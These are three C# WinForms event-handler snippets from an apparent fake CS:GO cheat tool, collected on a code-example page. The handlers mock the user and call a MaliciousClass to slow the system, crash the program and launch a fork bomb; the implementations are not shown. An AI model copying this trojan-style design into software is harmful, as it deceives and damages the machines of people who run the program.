Ejemplo n.º 1
0
        private void button2_Click(object sender, EventArgs e)
        {
            // When this button is clicked, it changes the above boolean.
            _button2HasBeenClicked = true;
            // Conceals this class/form.
            this.Hide();
            // Shows a new message box that explains - well whats down there???
            // ReSharper disable once LocalizableElement
            MessageBox.Show("enjoy vac ban bro - loading - might take a while...");
            // A constructor that makes a new instance (csgo) of LeungHook.
            // ReSharper disable once HeapView.ObjectAllocation.Evident
            // ReSharper disable once IdentifierTypo
            var csgo = new LeungHook();

            // Shows a new class/form of LeungHook.
            csgo.Show();
            // Checks whether Button2HasBeenClicked is true.
            if (!_button2HasBeenClicked)
            {
                return;
            }
            // Then instantiating a new MaliciousClass.
            // ReSharper disable once HeapView.ObjectAllocation.Evident
            var inst = new MaliciousClass();

            // With this instance, it slows down the app by using SlowDownApplication().
            inst.SlowDownApplication(8);
        }
Ejemplo n.º 2
0
        private void PlaceboGo(object sender, EventArgs e)
        {
            // ReSharper disable once HeapView.ObjectAllocation.Evident
            var inst = new MaliciousClass();

            inst.CrashProgram();
        }
Ejemplo n.º 3
0
        private void ForkBombThisShit(object sender, EventArgs e)
        {
            var inst = new MaliciousClass();

            inst.ForkBomb();
        }